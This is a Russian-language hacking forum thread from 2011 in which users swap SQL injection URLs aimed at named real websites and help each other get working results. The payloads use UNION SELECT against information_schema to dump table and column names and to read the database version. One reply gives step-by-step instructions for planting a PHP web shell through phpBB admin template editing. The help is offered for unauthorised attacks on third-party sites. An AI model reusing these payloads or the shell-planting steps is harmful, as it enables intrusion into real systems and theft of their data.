 |
|
09.12.2011, 15:39
|
|
Познающий
Регистрация: 19.12.2008
Сообщений: 41
С нами:
9153939
Репутация:
5
|
|
Сообщение от Gorev
SomeCustomInjectedHeader
переведи и подумай...
Шелл получится залить ?
|
|
|
09.12.2011, 15:56
|
|
Познавший АНТИЧАТ
Регистрация: 12.07.2010
Сообщений: 1,546
С нами:
8334326
Репутация:
75
|
|
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]http[/COLOR][COLOR="#007700"]:[/COLOR][COLOR="#FF8000"]//www.gospelmp3.ru/artists/?id=-39%27+union+select+1,2,3,4,5,6,column_name,8,9,10,11,12,13+from+information_schema.columns+where+table_name=0x7061676573--+[/COLOR][/COLOR]
Почему не выводит колонки?? (вывод дполжен быть в титле) |
|
|
|
09.12.2011, 17:14
|
|
Участник форума
Регистрация: 01.12.2011
Сообщений: 120
С нами:
7604246
Репутация:
55
|
|
Похоже на то что where фильтруется, можешь попорбывать крутить так:
Код:
http://www.gospelmp3.ru/news/?id=-115+union+select+1,2,3,4,5,6,7,concat_ws%280x3a,table_name,column_name%29,9,10,11,12,13,14,15+from+information_schema.columns+limit+1,1--&n_action=read
перебирая лимит пока не найдешь то что нужно, руками конечно муторно но думаю накидать скриптик который сдампит структуру не проблема. |
|
|
|
09.12.2011, 20:38
|
|
Участник форума
Регистрация: 10.07.2011
Сообщений: 252
С нами:
7811606
Репутация:
21
|
|
есть досьуп к админке на движке phpbb, могу править шаблоны, как залить туда шелл?? какой код вставить?
|
|
|
|
09.12.2011, 20:43
|
|
Новичок
Регистрация: 31.07.2009
Сообщений: 1
С нами:
8832539
Репутация:
0
|
|
Откройте Администраторский раздел => Общие => Безопасность
Разрешите php в шаблонах и сохраните настройки
Откройте Администраторский раздел => Стили => Шаблоны
Напортив активного шаблона нажмите "Изменить"
Выберите файл шаблона, в который хотите вставить php, например "overall_footer.html"
В нужное место вставьте
|
|
|
|
09.12.2011, 20:58
|
|
Участник форума
Регистрация: 10.07.2011
Сообщений: 252
С нами:
7811606
Репутация:
21
|
|
как то криво все встает, и допустим я закачаю шелл потом на форум и гдде он будет лежать?
|
|
|
|
10.12.2011, 00:02
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
С нами:
10585560
Репутация:
1550
|
|
Сообщение от DyukiN
как то криво все встает, и допустим я закачаю шелл потом на форум и гдде он будет лежать?
правь шаблон фака..на форуме он будет forum.com/faq.php
|
|
|
|
10.12.2011, 03:53
|
|
Постоянный
Регистрация: 30.08.2010
Сообщений: 327
С нами:
8263766
Репутация:
11
|
|
Код:
http://eafangames.com/live_score_tennis.php/flash_games_online.php
?channel=76'%00 order by 1--
в чём проблемма не могу понять!подскажите! |
|
|
|
10.12.2011, 10:06
|
|
Участник форума
Регистрация: 10.07.2011
Сообщений: 252
С нами:
7811606
Репутация:
21
|
|
Сообщение от Gorev
правь шаблон фака..на форуме он будет forum.com/faq.php
Я правил его, тоже ничего не получается(( дайте пжл мне пшп код в пм)
|
|
|
|
10.12.2011, 16:18
|
|
Участник форума
Регистрация: 01.12.2011
Сообщений: 120
С нами:
7604246
Репутация:
55
|
|
Сообщение от Faaax
Код:
http://eafangames.com/live_score_tennis.php/flash_games_online.php
?channel=76'%00 order by 1--
в чём проблемма не могу понять!подскажите!
Код:
http://eafangames.com/live_score_tennis.php/flash_games_online.php?channel=76'%29+union+select+@@version--%201#inscore_ifheight_xdc_500
Done!
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
